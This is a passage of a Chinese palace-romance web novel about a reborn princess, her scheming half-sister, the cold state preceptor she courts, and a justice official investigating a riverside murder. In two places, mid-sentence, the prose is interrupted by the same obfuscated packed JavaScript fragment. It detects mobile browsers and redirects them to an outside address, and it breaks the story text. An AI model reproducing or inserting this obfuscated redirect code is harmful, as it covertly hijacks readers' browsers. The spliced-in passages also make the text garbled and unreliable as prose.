听到许怀鹤的话,容钰低低“嗯”了声,她在许怀鹤直起身子的同时,也收回了自己的手,重新端正地坐好,袖子下面的双手胡乱握着,被许怀鹤碰过的地方在发烫发热,手心都出了汗,低着头,心跳如雷鼓。 许怀鹤的手掌宽大,也许是常年修道,炼制丹药的缘故,并不细腻,反而有些粗糙,但温暖干燥。 她头一次做这样出格的事情,心都快要蹦出去了,也不敢去想许怀鹤到底发没发现她是故意的。 许怀鹤起身离开,容钰跟着起身送他。外面的小道童送来了大氅,趁着许怀鹤穿衣的间隙,容钰悄悄抬头,观察着许怀鹤脸上的神色,有些失望地发现许怀鹤的神色冷淡如常,和平日没有任何区别,仿佛根本并没有把刚才发生的事情放在心上。 果然是清冷君子。 两人各怀心事,草草道别,等许怀鹤的背影消失不见,容钰脸上的红意还没散干净,她咬着唇,遇上桂嬷嬷探究的神色,连忙转头捂脸,不让桂嬷嬷看出来:“嬷嬷,你快让人去问问,永宁今天挨孔大儒的骂没?” 好巧不巧,哭红了眼睛的永宁正在贵妃的怀柔宫里摔东西。 她摔第三只青瓷茶杯的时候,陈贵妃揉了揉眉尾,制止了她继续扇小宫女耳光的行为:“好了,永宁。” 被扇得双颊高高肿起,头晕眼花,跌倒在地,嘴角都渗出血的小宫女知道自己逃过一劫,连忙对着贵妃磕了个响头,急急跑了出去。 永宁的眼泪还挂在下巴上,她气的胸膛不住起伏,面色狰狞,和在外面端庄贤淑,温柔聪明的永宁公主仿佛不是一个人。 “母妃,孔景华骂我!”永宁又掉了几滴眼泪,“他说我自以为聪明,实则见识短浅,愚蠢而不自知,比昭华还不如!” 想起孔景华说这话时的神情,那副看不起她,把她贬得一无是处的样子,永宁气的忍不住又摔了一个茶盏,在地上发出“砰”的一声脆响,外面的小宫女们都吓得抖了抖。 对于换一个公主教导这件事,孔景华原本有略微不满,但在得知这位永宁公主才思敏捷之后,孔景华的不满很快就散去了。 皇上让他做夫子,他又何尝不想要一个好学生,那既然昭华公主不领他的情,他也觉得昭华公主朽木不可雕,就不必勉强,换一位公主也没什么大不了的,至于昭华公主想让那位国师做夫子,就随她去吧。 但很快,孔景华就失望了。 永宁自信地以为,她比容钰聪明,便会得到孔景华的夸奖,但是她那点小聪明在孔景华面前完全不够看。 她在孔景华面前明里暗里贬低容钰,说容钰愚笨,不尊师重道,不配做孔景华的学生,还三番两次打断孔景华的授课,提出一些自以为深刻的问题。 “君子泰而不骄,小人骄而不泰。”孔景华怒目而视,“永宁公主,这些道理你可明白?我孔景华一生坦荡,门下学生不说各个有惊世之才,但也绝不是心术不端之人!” 永宁哪怕装的再好,也受不了被人指着鼻子当面这么骂,当场就哭了出来,也没心思继续听课,跑出了房门,立刻回了怀柔宫找母妃告状。 她还未及笄,没有自己的公主府,依旧和贵妃一起住在怀柔宫里,听到她的话,陈贵妃却并没有第一时间安慰女儿,而是皱眉道:“她难道没骂过昭华吗?你忘了,孔景华甚至有好几次都直接到皇上面前说昭华愚笨,怎么他才骂了你一次,你就受不了了?” 永宁呆呆地看着陈贵妃。 陈贵妃冷声道:“赶紧去孔景华府上赔罪,哪怕他再指着你骂,你也得给我受着。你不可能换老师,你不能比昭华还不如!” 8. 第 8 章 * “永宁当真去了?”容钰揣着手炉坐在拔步床边,惊讶地看着垂手站在帘外的春桃,“她说了什么话?孔大儒又是怎么回复的?” 春桃看了眼今日也如同花一样的公主殿下,无论见多少次,她都觉得公主殿下是世上最美的女子,光是坐在那里,就让整个屋子都亮堂了起来。 不描眉,不化唇,半点妆容也无,但哪怕是再素淡的样子,也动人心魄,对上那一双含情眸,春桃身为女子心都颤了颤,她连忙回神,赶紧细细地把打听到的情况给容钰讲了一遍。 孔大儒视钱财如粪土,也不入仕和其他官员同流合污,只一心教导学生,门下清流,有才华者众多。 永宁得了陈贵妃的指引,也不敢给孔大儒送黄金或白银,而是特地找了几本难得的孤本,当做赔礼,给孔大儒送了过去,亲自登门道歉。 “当时有好些人看着呢,都是孔大儒的学生,还有家仆们,永宁公主送了孤本,又当众承认了自己愚笨自负,”春桃捂着嘴笑,“还说什么自己不该无礼,负气离开,以后定不会再这样了。” 春桃眼角眉梢都是喜意:“她说她以后一定虚心求学,任凭孔大儒打骂,又夸了好一阵孔大儒学富五车,两袖清风,请孔大儒看在她诚心学习的份上,原谅她一次。” 春桃和桂嬷嬷一样,都不怎么喜欢永宁公主,因着永宁公主对昭华殿下不敬,还屡屡挑衅,要不是永宁公主是殿下的亲妹妹,她们早就让公主府的侍卫把永宁打出去了。 今日永宁去孔府登门道歉,在春桃看来,这就是永宁公主当众出了丑,被别人看了笑话,心里有些小小的幸灾乐祸,不自觉就乐了出来。 容钰也高兴,她眉眼微弯,那双本就漂亮的眼睛又增添了几分灵动,像是一汪清泉,干净明亮,没有半点阴霾。 她当时把孔景华推给永宁做老师,就是想让永宁也被孔景华骂一骂,没想到永宁平日那么能装,被孔景华一骂竟然直接哭着跑了。 据说孔景华当时被气的脸色铁青,也怒而拂袖离开了皇宫,还放话说再也不想教导永宁,但他才刚说完这些话,永宁就登门道歉了。 容钰接过桂嬷嬷递来的热腾腾的桂圆茶,掀了茶盖,迫不及待地继续问:“然后呢?孔大儒原谅她了吗?” “原谅了。”春桃有些失望地叹了口气,“但孔大儒说什么也不收那些孤本,让永宁公主拿回去了。” 容钰抿了口茶水,这桂圆茶是府中厨娘特意改良过的,只有茶香,没有苦涩味,还带着桂圆和红枣的甜,滋补润喉。 她一边饮茶一边想,其实孔大儒会原谅永宁也在情理之中,毕竟是父皇点了孔大儒做夫子,虽然换了一个公主教导,但孔大儒要是真的不教了,那就是拂了父皇的面子。 况且永宁这事可大可小,说大了是不尊重师长,说小了也就不过发发公主脾气,她又亲自登门道歉,放低了姿态,诚意十足,若是孔大儒不原谅,反而显得有些傲慢了。 “只是后来又发生了一件事。”春桃顿了顿,“当时有一位孔大儒的学生也在场,目睹了整个事情的经过,在孔大儒原谅了永宁公主,答应继续教导她之后,那人突然说——” 春桃学着那人的样子给容钰看,她站直了身体,微微侧向旁边,假装她看着的地方就是永宁公主,脸上一脸严肃,皱起眉头,声音沉下去:“永宁公主此番作派到底是何意?” “既然登门道歉,老师又是长辈,德高望重,哪怕你是公主,也该作揖礼。你从入门至今连腰都未弯,还说效仿廉颇负荆请罪,那‘荆’又在哪里?你如此大张旗鼓,难道不是让老师为难,把老师架在火上烤?” 这人言辞犀利,字字扎心,就差直接说永宁心机深沉,半点不诚恳,道歉也不过做做样子,反而是在逼迫孔大儒原谅她了。 桂嬷嬷忍不住噗嗤一声笑了出来,几个正在收拾香炉的小丫鬟也悄悄地捂着嘴笑了起来,春桃模仿完那个男子,自己也没绷住,笑得肩膀直抖。 容钰眼睛一亮,这人真是聪明,不少人都觉得永宁温柔有礼,端庄多才,被她的外表蒙蔽,而这人居然能够看透永宁外表下的装模作样,可真难得。 春桃笑够了,抹了把眼角继续说:“据说永宁公主的脸色当场就青了,继而哭出了声,连连说自己冤枉,又当场给孔大儒作揖礼,还要下跪道歉,被旁边的侍女和孔大儒一起拦住了,送出了门。” 容钰轻轻撇了下嘴,她就知道会是这样,永宁每次被抓了小辫子,或者觉得掩饰不下去了,就喜欢用眼泪示弱,偏偏大多数人就吃她这一套,见到女子落泪,就忘记了刚才在计较些什么,只想赶紧把她送走。 转念一想,自己不也是吗?看见永宁的眼泪就嫌烦,巴不得赶紧把她打发走。 容钰突然想起了什么,她问春桃:“质问永宁的那人,长什么模样?” “这,奴婢不清楚。”春桃犹豫了一下,“不过听人说,这人好像是刑部的员外郎,至于叫什么名字,奴婢也不清楚。” 春桃不知道,但容钰的脑海里已经浮现出了这人的名字。 闻锐达。 只有他敢这么指责一位公主,员外郎的身份也正好符合。 这人年方弱冠,出身低微,但聪颖上进,是孔景华的得意门生,考中进士二甲后入刑部任职,上辈子只用了不到一年的时间,就从员外郎擢升刑部侍郎,完全称得上年轻有为。 这人刚正不阿,言语锐利,往往一针见血,不管是谁他都不留情面,对就是对,错就是错,不懂圆滑变通,但却是办案的好苗子,许多案子他只看一眼就能判断,且从不出错,很是出名,被称为“玉面判官”,就连容钰都听过他的名号。 容钰记得对方的长相也不错,春猎时她远远看过一眼,闻锐达身姿高大挺拔,胳膊结实有力,不像是读书人,更像是武官,眉眼锐利,眉峰如刀。 所以尽管闻锐达家世低微,依旧有不少高门想把女儿嫁给他,和他攀上关系,只可惜这人英年早逝,在升官刑部侍郎之后没多久就因病去世,据说还是在查案途中病去的,运送他棺梏的队伍在回乡途中又遇到了山洪,最后连完整的尸骨都没留下。 也是个可怜人,容钰有些出神地想,其实若不是这人死的太早,她也会考虑让他做自己的驸马人选,只可惜…… 当然,如今她的驸马人选只有一个,那就是许怀鹤。 容钰并没有深思,她回神问起了另外一个话头,带了几分不好意思,用饮茶的动作掩饰自己的局促:“春桃,你打听到国师喜欢什么样的女子了吗?” “没有。”春桃面露难色,她福了福身,“公主殿下,不管奴婢怎么打听,都未曾听说国师对哪位女子有过不同寻常的举动,据说伺候国师大人起居的也全都是道童,没有女婢。” 容钰对这个结果也并不意外,毕竟上辈子直到她死前,许怀鹤都没有过妻妾。 春桃想了想:“不过国师大人好似升官了,现在整个钦天监都由国师大人管着,配合六部布置各种事宜。” 容钰愣了愣,发现许怀鹤这次升迁比上辈子快了不少,上辈子的许怀鹤是在明年夏才掌管了钦天监,难道是自己重生回来的影响吗? 实际上容钰并没有猜错,虽然她重生回来并没有做多少事情,但还是造成了细微的变化,这些细微的变化逐渐滚动,就像滚雪球一样,最终会造成怎么样的后果,团起雪球的人却并不知道。 因为在御书房门前扶了容钰一把,保护了昭华公主殿下,许怀鹤在皇帝心里的印象又好了不少。 他进退有度,在容钰走后,皇帝问他想要什么赏赐,他推拒了,可他越是推辞,皇帝就越是觉得他和其他官员不一样,没有满身铜臭,不沾俗物,仙风道骨。 一番思索之后,皇帝便把整个钦天监都规划到了许怀鹤手底下,让许怀鹤掌管整个观星楼。 之前容钰特地设了小寒宴,宣传玉容膏,玉容膏也在京城的高门贵妇小姐里打出了名号,一盒难求,许怀鹤一时风头无量,美名愈盛。 “那等国师今日来授课时,还得好好恭喜一番。”容钰思索着,“我记得去岁江南进贡过一批料子,是云缎锦的,是不是有几匹上面有鹤形暗纹?拿出来包好,送给国师。” 这次容钰午休时提前一小刻起身,梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090477|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妆好后先许怀鹤一步进了书房,坐在书案边,将包着云缎锦的木盒放在桌上,静静等着许怀鹤到来。 但她刚一坐下,目光触及到两张桌案中间的空隙,脸上一烧,突然就想起了昨日和许怀鹤意外双手相扣的场景。 许怀鹤也太君子了,她硬是没从对方脸上找出一丝旁的情绪。容钰摸了摸脸颊,心想既然这样的手段没用,那用一次便罢了,今日就好好听课吧,等她再想想还有什么法子再说。 同一时间,一辆淡素的马车停在奢华的公主府门前,门口的侍卫赶紧为许怀鹤开了侧门,低着头,不敢注视这位据说道法高深,乃仙童转世的国师大人。 许怀鹤略一停顿,跟着前面领路的侍女,快步走向了公主府书房所在的位置。 其实不用侍女带路,他也已经记住了这条路线,他从小便如此,记忆力极强,几乎过目不忘,也同样是因为这样,昨日和昭华公主手指相扣的画面依旧存留在他的脑海中,他昨夜一夜都未曾睡好。 她羞怯的侧脸,颤抖的长睫,柔软的手心无一不在引诱他,欲念在翻滚,原本被他死死压制住的东西又一次浮现出来,他在炼丹房枯坐了半夜,一遍又一遍告诉自己还不是时候,才终于又恢复了寻常那副清高,无欲无求的样子。 书房的门被推开,容钰听到声音骤然回头,看到背着光走进来的许怀鹤,因为逆着光,容钰看不清许怀鹤脸上的神色,却能感受到对方带进来的寒风和片片凉意,就和这个人一样。 午后的京城下了点微雪,但无需撑伞,许怀鹤解了大氅递给道童,垂眸遮住眼中翻腾的情绪,不过片刻间就冷静下来:“拜见公主殿下。” 容钰忽地握住手心,总有种说不上来的心虚感,动了动腰起身:“老师不必多礼。” “还没来得及恭喜国师。”容钰将手边的盒子往前推了推,脸上笑意盈盈,“一点贺礼,是我的心意,不值什么,还请国师收下。” 许怀鹤心底动了动。 那些人在得知他升官之后,个个都有了新的算计,言辞虚伪地恭贺着他,心里想的却全是利益,只有昭华公主殿下是真心实意为他高兴。 “多谢公主殿下。”许怀鹤收起盒子,只一拿就知道这里面装的不是金子,他忍住打开一探究竟的冲动,让小道童拿好,走到容钰对面的书案坐下,翻开书册,接着上一次的内容讲起,声音清冽好听,容钰很快就入了迷。 许怀鹤一边授课,一边分了些心神出来,观察着容钰。她今日也没戴围脖,脖颈雪白如霜,身躯娇小,因为靠在桌案上,身体不自觉往前挤,胸前被压出一段微鼓的弧度。 许怀鹤目光微顿,往上移了些许。 她今日的妆容和昨日似乎又有不同,眉心点着时下京城最流行的花钿,五瓣梅花形状,颜色和口脂一样,更衬得她容颜秾丽,偏偏眼神澄澈天真,融合成了一种致命的诱惑,足以让任何一个普通男人为她倾倒。 再一次意识到,京城中说不定有许多世家公子,旁的男人都和他一样在觊觎她,许怀鹤忽地滞了滞。 他如今依旧什么也做不了。 他被背后那些人各怀心思地推着,一步一步走入京城,来到皇帝面前,成了国师,终于迈出了最重要的一步,将钦天监掌握在了手里。 钦天监看似是一个不起眼,不重要的部门,实则隐形权利非常大,和六部都有牵扯,甚至能够隔空操控很多事情,比如祭天,比如春猎,还可以把所有的意外全都归咎于天象,一句“不详”就可以堵住许多人的嘴。 那些人得到消息后个个迫不及待,许怀鹤的嘴角浮出一抹冷笑,如果他猜的不错,接下来他很快就会因为各种原因,辞去为昭华公主殿下授课的夫子身份,投身争夺权利的漩涡里,手上沾满鲜血和龌龊泥泞。 为了拿到那个位置,为了排除这路上的所有阻碍,他要做的事情太多了,他也不确定自己要走多久,才能站在昭华公主身侧,将她揽入怀中。 不过当下,先容许他贪恋片刻,享受片刻昭华公主的目光落在身上的感觉,至少此时此刻,昭华公主殿下的眼中只有他一人。 这样便好。 9.第 9 章 * 一只寒鸦沉默地缩在窗棂边,用豆大的眼睛盯着屋内的暖香玉帐,那个人影藏在帐子后面,模糊不清,但一举一动都透露着优雅和矜贵,不难想象是怎样娇养出来的美人。 来糊窗纸的小丫鬟一挑帘子,寒鸦就被惊得飞了起来,重新回到光秃秃的树枝上,抖落了一地的雪。 容钰正在桌边喝桂圆红枣茶,她刚梳洗完,脸上白里透着嫩粉,在这严寒的冬日里是极为难得的,要用若干心血和金钱才能养出来的娇花。 春桃仔细小心地帮容钰梳着头发,柔顺的黑发一梳到底,如果不快点绾起来,就会从她的指缝里滑走。 她连忙利落地梳好垂仙髻,轻轻为容钰插上点翠簪,雕成山茶花形状的粉玉坠在中间,圆润的珍珠垂下来,一眼望去,竟分不清是珍珠更白,还是容钰的肤色更白。 容钰看了眼铜镜,眉头轻蹙:“换一只簪子。” 这只簪子上面的珍珠太多了,而且和永宁向她炫耀的那只簪子形状相似,只是花样细微不同,容钰看着有点堵心,永宁说的话又一次浮现,她抿住唇,但想到永宁被孔景华骂哭了还得继续学,不过片刻又高兴起来。 容钰记得,上辈子在小寒宴之后,永宁被罚抄完佛经,就来了她府上做客,假意为那日的莽撞道歉。 永宁亲亲热热地问她为父皇的寿辰准备了什么祝寿礼物,一副假惺惺的模样。 可恨那时她也没有多想,又自觉自己的祝寿礼物是最珍贵,最拿得出手的,就告诉了永宁,她要为父皇亲手绣一幅仙翁祝寿图,要用翡翠作叶,粉玉为桃,各种奇珍异宝用金线串着绣满屏风。 谁知就在父皇寿辰的宫宴上,在群臣百官面前,永宁居然先她一步拿出了祝寿礼物,竟然也是祝寿图,没有用珍奇美玉点缀,而是靠极其精细秀丽的绣工,赢得了父皇的赞叹,说她心意难得。 臣子们也跟着赞叹夸奖永宁公主秀外慧中,心灵手巧,又为她增添了许多美誉,而没有人注意到,宴席边的昭华公主脸色瞬间煞白。 容钰在看到永宁拿出祝寿图的那一刻,就知道自己又被摆了一道。 她从小被娇惯着,被针扎了几次指头,疼得掉了眼泪之后,就说什么不肯再刻苦学女红,后来也只是勉强能够看得下去,能绣出大概的形状。 但永宁不一样,陈贵妃心狠,又打定了主意要让永宁处处比昭华强,逼着永宁日日夜夜苦练女红,练出了一手好绣技,就连京城里最顶尖的绣娘都得夸赞一声永宁的绣品。 有永宁的祝寿图珠玉在前,她的贺寿屏风怎么拿的出手?她用心装饰在上面的奇珍珠宝,在她普通的绣工下反而显得浮躁堆砌,不甚用心,就算是容钰自己,也不能偏心说自己的贺礼比永宁的更好。 永宁偏偏还要火上浇油,装作不知她准备了什么,笑着问:“永宁献丑了,当不起大家夸赞。想必昭华姐姐准备的祝寿礼一定比我的好,姐姐怎么不把贺礼拿出来让大家观赏,让父皇高兴呀?” 众人的视线一齐投过来,容钰的心急急下沉,手心都出了一层薄汗,她勉强笑了笑,白着脸让底下的人把屏风抬上来,果不其然听到了一阵窃窃私语。 容钰捏着帕子,她不用猜也知道那些人在说什么,左不过就是觉得她东施效颦,白白惹人笑话,知道今日寿宴结束了,自己在外的名声恐怕又要再差上几分。 她已是又气又急,被父皇惊讶失望地一看,眼泪差点落下来,但又不想让自己更加丢脸,强忍着泪意,以自己身体不适为由离席,回到母妃生前住着的坤宁宫,狠狠哭了一场。 她那时哭得上气不接下气,心里的委屈无处诉说,也没办法告诉父皇是她先做的祝寿图,永宁偷用了她的想法,刻意和她撞了物件。 她知道自己这样说,永宁肯定不会承认,父皇也只会对她更加失望,觉得她是在找借口欺负永宁。 她也没办法去镇国公府,和舅舅外祖父诉说,祖父已经致仕,舅舅又忙着带兵,这样的小事不好去劳烦他们,就算她说了,也只不过白白让舅舅和外祖父替她担心,觉得她受了委屈,但又不能去和永宁公主计较什么。 要是母妃还在…… 容钰哭的差点背过气去,嘴里不断小声念着母妃,桂嬷嬷心疼极了,抱着她也不住流泪,一边安慰着她,一边恶狠狠骂着永宁。 桂嬷嬷咬牙:“永宁公主这样做事,迟早有一天会遭报应的。别人相信她,我们可不会被骗,皇上的眼睛也雪亮着呢,他要是知道您受委屈了,一定会好好罚永宁公主的!” 离宫后,容钰怄了好长一段时间,又想明白了那样的绣品不可能是几日就能赶出来的,永宁必定早就在做准备,指不定她刚刚让府中的人去找玉石,永宁就已经得到了消息,早就知道她要做什么,就是故意等着她出丑,等着看她笑话! 公主府里的人太多,容钰也知道这些人并不是个个忠心于她,上辈子她一失势,要被送去和亲,就有许多人连夜求她放恩,这些奴仆不想跟着她一起去漠北受苦,她疲惫至极,也允了,所以这些人会给永宁传递消息,她也不奇怪。 但是这一世,孔景华成了永宁的夫子,永宁去孔府登门道歉时,又当众说自己诚心求学,还被陈贵妃拘着,不得不埋头苦学,没空来她府上惺惺作态。 而且这一世,她也不会再傻傻地继续做那面屏风,在宫宴上出丑,成为永宁美名的垫脚石。 她让底下的人继续搜罗玉石迷惑永宁,让永宁以为她还会做那面屏风,但她已经决心换一个物件,只不过要换成什么,她还没想好。 “殿下,这只簪子怎么样?”春桃说着,从妆奁里挑出一只外翻进贡来的宝石簪子。 这簪子通体银白,顶上镶嵌着一颗和鸽子蛋差不多大的深蓝宝石,做成孔雀羽毛的形状,极为难得,色泽艳丽,要是气度不够,还压不住。 “嗯。”容钰轻轻颔首。 她今日穿了湖蓝的袄裙,这样颜色极其难配,稍有不注意就会显得老气,但这身衣服在容钰身上却合适无比,纤腰腿长,雍容华贵,再配上那只簪子,更加让人觉得她光彩照人,不敢直视。 恰巧今日休沐,不用上课,许怀鹤也不用来府上授课,她就准备出门,去京城最大的奇珍阁逛一圈,看看有没有什么好的物件。 收拾妥当,容钰穿好府中绣娘新做的上等羊绒夹袄,外面套了披风,踩着脚凳上了马车,前往了京城最繁华最热闹的街道。 就在她的马车刚刚离开公主府时,正在路边玩耍的小童猛地站起身,跑向另一条街道上的卖米铺子,迅速把自己得到的消息竹筒倒豆子一样说完。 卖米的掌柜皱眉:“你确定国师和昭华公主未有任何私交?今日昭华公主出门,也不是去见国师的?” 小童连连点头,拍着胸脯保证自己得来的消息绝对不会错,但卖米的掌柜想了想,还是不太放心,让伙计先把铺子看着,自己换了件长灰袄,急匆匆地出去了。 掌柜去的方向和容钰的马车前行的方向完全一致,这里市廛云集,人来人往,平民百姓在这里叫卖货物,王公贵族也来这里玩乐,马匹和驴骡踢着蹶子,时间一长,道路必定脏污。 为了避免这种情况发生,有官员提议在商铺边开了一条小沟渠,污水便从这里流出去,一直汇集到河岸边,偷入滔滔长河中,隐没不见。 此刻闻锐达就站在河岸边的酒楼上,他长身靠在窗户边,沉眉朝下一看,眼中多了几分讽刺的笑。 京城是天子脚下,表面上花团锦簇,繁华至极,但在天子看不到的地方,依旧藏污纳垢,臭不可闻。 河岸边是大多数平民的居所,他们无力在城中购置房屋,只能忍着臭味在这里居住,走河运来的商贩们也在此落脚,人口极杂,查案的难度很高。 就在前日,这里发生了一起命案。 死者是一位普通的不能再普通的男子,他进京求取功名,但未能考中,就选了抄书的谋生,继续读书,没有娶妻,更没有什么仇怨,唯一说的上奇怪的,就是他不日前去药房买了一大捧朱砂。 朱砂是有毒的,但这名男子却并不死于中毒,而是被人抹了脖子丢在了河里,因为他没有什么亲友,直到尸体从河中漂浮起来,被走商看到报了官,这才被发现。 像这样的平民百姓命案不知道有多少,大多数都是在宗卷当中草草记一笔死者何人,死于何时,根本不会细查,没有官员把这些人的命当一回事。 在那些人眼中,这些普通人不过就是一只蝼蚁,一把杂草而已,死了就死了,有什么关系? 这次的案子会被提起,还特意让刑部的人来查,不过就是因为皇帝寿辰将近,有外邦使者来朝,而这人死状凄惨,引得周围人议论纷纷,他们担心有损大国颜面,这才让刑部先将事情查个水落石出,安抚人心。 这个案子完全算得上是烫手山芋,时间紧,线索少,若是查出来,和那些高官子弟高门世家有牵连要怎么办?真正的凶手是不可能认罪的,多半就是推个仆役出来顶罪罢了。 要是没查出来,那就更难说,这顶官帽还戴不戴的稳都是个问题。 刑部得到指示之后就犯了愁,商量来商量去,最后把这个烫手山芋扔给了刚进刑部不久,没什么根基也没什么靠山,最近还得罪了陈贵妃娘娘的闻锐达。 官场当中人人都会看眼色,见他得罪了正受宠的贵妃,当然巴不得赶紧给他穿小鞋,把他当踏板往上踩,在贵妃那边得个脸。 就连他的同门师兄弟都笑着摇头,劝告他说:“你呀,迟早栽在你这张嘴上,既然已经入朝为官,多少懂点人情世故吧,话别说太绝,也别把人得罪狠了。” 闻锐达不以为意,要是人人都不敢说真话,同流合污,官场会变成什么样子?这个王朝又会变成什么样子? 他这样想着,忍不住冷嗤了一声,正准备收回视线,开始干活查案,目光就停住了。 路面上的那辆马车极尽奢侈,就连车帘都是上好的绸缎,上面绣着繁复的花纹,被一只纤纤细手掀开,有位女子施施然从车上走下来。 她穿着蓝色的袄裙,动作优雅,由旁边的侍女扶着踩在地面上,不经意转头间,整条街道的吵闹声都停止了一瞬,见到她的人无一不为她的美貌所震撼。 就连闻锐达自己也敏锐地察觉到,他的呼吸停滞了好一会儿,心脏也不受控制地猛地跳动了几下,目光追随着昭华公主的身影,一直到她进入奇珍阁,再看不见了,才缓慢收回视线。 如果说繁盛是这个王朝的表象,那昭华公主毫无疑问就是这层表象最明显的标志,她太美了,也太雍容华贵了,光是看着她,仿佛就能看到这王朝是怎样强大。 但这终究是表象而已,官场风气糜烂,拉帮结派严重,互相倾轧,闻锐达沉默一瞬,又想起自己听说昭华公主空有美貌,毫无才学,性格也张扬跋扈,不过因为一个小小的言语纠葛,就让朝廷命官的夫人给她下跪道歉。 手底下的小役快步跑上来,敲响了雅间的门,闻锐达收回思绪,沉声道:“进来。” “大人,”小役不敢耽搁,“我们没有在那名男子的家中找到他买的朱砂,但从街坊邻居那里打听到,这男子有一个相好,在奇珍阁做活计,两人各有物品往来,指不定这男子就是将朱砂送给了那位姑娘。” 奇珍阁?闻锐达皱了皱眉,那不就是昭华公主殿下刚才进去的地方?这下可麻烦了。 但该干的活儿还是得干,闻锐达只犹豫了片刻,就从雅间离开,只身一人朝着奇珍阁走去。 奇珍阁内,掌柜刚见到公主的车架,立刻让人腾出了楼上最好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101903|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅间,恭恭敬敬地请公主殿下上楼,亲自招待昭华公主,又询问了公主想要什么样的新鲜玩意儿,赶紧让手底下的人动起来,把最新一批从西洋那边得来的好东西都呈上来。 容钰不经常来光临这样的铺子,光是从皇宫里流水一样赏赐下来的东西,就够她用了,多的还能散出去一些,送给他人做个人情,但奇珍阁的掌柜依旧不敢怠慢分毫,恭敬地在旁边站着,细声细语地向容钰一一介绍着这些送上来的物品。 容钰对这些东西兴致缺缺,觉得没什么稀奇的,她抬手扶了扶发髻,旁边的掌柜也是人精,一眼就看出来容钰对这些东西不感兴趣,马上就让人换了一批。 最后,掌柜亲手端着一个小木盒,来到容钰身侧,弯腰放在桌上,轻轻为容钰打开,露出里面光彩夺目,足足有半个手掌那么大的深红鸽血石。 容钰的目光微微一顿,奇珍阁的掌柜顺势将盒子往前一推,方便容钰拿起来仔细观赏。 “公主殿下好眼光,”掌柜轻声笑道,“这就是我们奇珍阁的镇阁之宝之一,这枚鸽血石极为难得,是上品中的上品,颜色深红似血,圆润光滑,佩戴可以暖气补火……” “掌柜的!”雅间外突然传来惊慌失措的小丫头叫喊,还有急匆匆的脚步声,“刑部来人了!” 奇珍阁的掌柜还没来得及有所反应,容钰也还拿着那枚鸽血石,就看到雅间的房门突然被人从外面推开,一位身形高大的男子直直走了进来。 他的身上带着一股挥之不去的寒意,说出来的话也冰冷无比:“拜见昭华公主殿下,臣刑部员外郎闻锐达失礼了。不过公主殿下手上的物品,是臣正在查的案子的关键物证,为了避免有心人调换,还请公主殿下将此物交予臣。” 容钰呆了呆。 她嘴唇微张,整个人透露出一股茫然纯真的气息,闻锐达只看了一眼就不敢多看,他稳住心神,转而盯着奇珍阁掌柜的反应。 他察觉到了奇珍阁的掌柜脸上闪过一抹心虚,不过又快速镇定下来,虽然凭那一闪而过的反应并不能说明什么,也不能作为案子的证词,但闻锐达心里已经有了成算,这里面必定有大问题。 桂嬷嬷先回神,她怒斥道:“闻锐达,你好大的胆子!” 她还要再骂,被容钰轻轻拉了一下衣袖,瞬间闭上嘴,只是脸上还是存着怒气。这闻锐达也太过无礼了,查案又怎么了?他一个外男,又是低品的小官,怎么能够不经传告,直闯公主殿下所在的雅间?这是大不敬! 容钰制止了桂嬷嬷的话,看向还弯着腰的闻锐达,轻声说了“免礼”,心里思索着上辈子似乎没有这样的事。 但她上辈子也向来不关心这些,更无从得知,没想到这一世自己不过来一趟奇珍阁,就正好遇到闻锐达查案。 想起闻锐达的上辈子凄凉的身后事,容钰心里多了几分怜悯,也没为难对方,她知道闻锐达是清廉公正,刚正不阿的好官,既然闻锐达这么着急查案,那必定有苦衷,她也能谅解。 闻锐达起身,心里面多了几分惊讶,他还以为今日免不了一番责罚,不说被打,至少也得被骂一番才能够拿到物证,甚至一无所获,却没想到这位昭华公主如此通情达理,好像不似传闻中那般娇蛮,反而大度温和极了。 容钰站起身走到闻锐达面前,蓝色的裙摆如同浪花,步步掀起波澜涟漪,她玉指轻抬,将那枚鸽血石放进闻锐达手心。 闻锐达的神色顿了顿,昭华公主的指尖极暖,不经意从他的手心拂过,好像被羽毛挠了一下。 奇珍阁的掌柜一直沉默着,这会带着几分惶恐开口:“闻大人,我们奇珍阁向来老老实实,本本分分做着生意,也不知到底是扯上了什么样的案子,竟然要让我们交出这镇阁之宝之一?” 奇珍阁掌柜的面色为难:“不是妾身有意阻挠闻大人查案,实在是这鸽血石价值黄金万两,若是有损……” “掌柜请放心,在下只是将这枚鸽血石带回刑部,让专攻玉石的人士鉴别一番,若不是朱砂造假弄出来的宝石,不和人命案有牵扯,自然会原样归还奇珍阁。”闻锐达神色平静,语气镇定,“既然这样,在下就先走一步。” 闻锐达正准备向昭华公主行礼拜别,就听到外面的小丫鬟又一次战战兢兢地开口:“掌柜的,国师大人来了。” 一时间屋内几人神色各异,容钰没想到今日休沐也能遇见许怀鹤,有些紧张地抚了抚裙摆上并不存在的褶皱,捏着手里的帕子,看向门口。 一袭白衣胜雪,对方身上的檀木香比人更先到,和许怀鹤共处一室这么些天,容钰早已对这股味道熟悉无比,心口不受控制地跳了两下,再次看到了气质冷冽的男人。 许怀鹤抬眸看过来,在看到容钰和闻锐达站在一起时,眼神凝了凝,但眼里的那点霜雪很快就散了干净,平静地向容钰见礼。 “未曾想会在此处偶遇公主殿下。”许怀鹤淡淡解释,“臣前几日在掌柜这里买了一批炼丹需要的稀奇材料,掌柜说今日到货,臣便是来取货的。” 